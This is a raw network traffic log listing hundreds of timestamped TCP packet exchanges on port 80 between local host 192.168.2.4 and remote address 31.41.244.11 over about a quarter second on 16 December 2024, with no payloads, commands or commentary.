Dec 16, 2024 21:02:46.875745058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.875821114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.876013041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.876734972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.876774073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.876893044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.876939058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.877829075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.877872944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.877943039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.878391027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.878668070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.878709078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.878802061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.878839016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.879672050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.879713058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.879777908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.879878998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.880654097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.880691051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.880728960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.880764961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.881648064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.881684065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.881767035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.881803036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.882617950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.882668972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.882725000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.882824898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.883651018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.883779049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.883805990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.883842945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.884608030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.884656906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.884814978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.884893894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.885612011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.885658979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.885761023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.885967016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.886691093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.886735916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.887331963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.887376070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.887573004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.887608051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.887644053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.887681961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.888545036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.888578892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.888649940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.888727903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.889543056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.889580965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.889667988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.889713049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.890563011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.890614986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.890676975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.890716076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.891567945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.891607046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.891649008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.891689062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.892546892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.892595053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.892630100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.892668009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.893521070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.893614054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.893661976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.894520044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.894610882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.894649982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.895517111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.895559072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.895627975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.895672083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.896473885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.896528959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.896605968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.896785021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.897465944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.897507906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.897531033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.897571087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.898499012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.898536921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.898659945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.899452925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.899482012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.899503946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.899554968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.899595022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.900445938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.900480986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.900552988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.900598049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.901521921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.901580095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.901845932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.901892900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.902470112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.902522087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.902703047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.902743101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.903429031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.903479099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.903573036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.903613091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.904438972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.904459953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.904508114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.905380011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.905419111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.905483007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.905515909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.906414032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.906450987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.906552076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.906586885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.907407045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.907455921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.907509089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.907548904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.908380032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.908422947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.908488989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.908523083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.909352064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.909396887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.909435987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.909526110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.910407066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.910444975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.910481930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.910566092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.911331892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.911405087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.911436081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.911473989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.912303925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.912347078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.052851915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.052917957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.052962065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.053380013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.053431988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.053457022 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.053498983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.054292917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.054342985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.054435968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.054477930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.055262089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.055310965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.055388927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.055432081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.056240082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.056376934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.056427002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.057280064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.057332039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.057430029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.057467937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.058233023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.058280945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.058516026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.058559895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.059235096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.059283972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.059329033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.059372902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.060247898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.060297966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.060376883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.060421944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.061218977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.061317921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.061362028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.062194109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.062247038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.062257051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.062294960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.063281059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.063323975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.063383102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.063429117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.064213991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.064321995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.064366102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.065200090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.065229893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.065242052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.065267086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.066176891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.066231966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.066297054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.066399097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.067158937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.067213058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.067267895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.067306042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.068120003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.068217993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.068270922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.069133043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.069178104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.069219112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.069255114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.070133924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.070185900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.070265055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.070319891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.071183920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.071232080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.071269989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.071317911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.072094917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.072139025 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.072180033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.072227955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.073097944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.073160887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.073234081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.073281050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.074206114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.074254036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.074295998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.074337959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.075109005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.075185061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.075207949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.075282097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.076036930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.076086998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.076152086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.076328993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.077064037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.077132940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.077208042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.077244997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.078063011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.078113079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.078183889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.078222990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.079058886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.079099894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.079134941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.079179049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.080044985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.080096006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.080117941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.080166101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.081007004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.081047058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.081213951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.081254005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.081984043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.082004070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.082020998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.082045078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.083013058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.083050013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.083060026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.083106041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.083981037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.084027052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.084084988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.084125042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.084949970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.084990978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.085067987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.085112095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.085932016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.085972071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.086091042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.086132050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.087001085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.087044954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.087054014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.087090969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.088107109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.088211060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.088238955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.088282108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.088898897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.088934898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.089018106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.089052916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.089932919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.089978933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.090045929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.090085983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.090934992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.090995073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.091003895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.091047049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.091953039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.091994047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.092027903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.092065096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.092896938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.092941999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.093013048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.093061924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.093861103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.093919992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.093960047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.093998909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.094902992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.094947100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.094971895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.095118046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.095875025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.095923901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.095973015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.096014977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.096864939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.096923113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.096962929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.097831964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.097877026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.097990036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.098100901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.098819971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.098865986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.099031925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.099087954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.099800110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.099878073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.099912882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.099945068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.100811958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.100852966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:47.100985050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:47.101053953 CET	49842	80	192.168.2.4	31.41.244.11
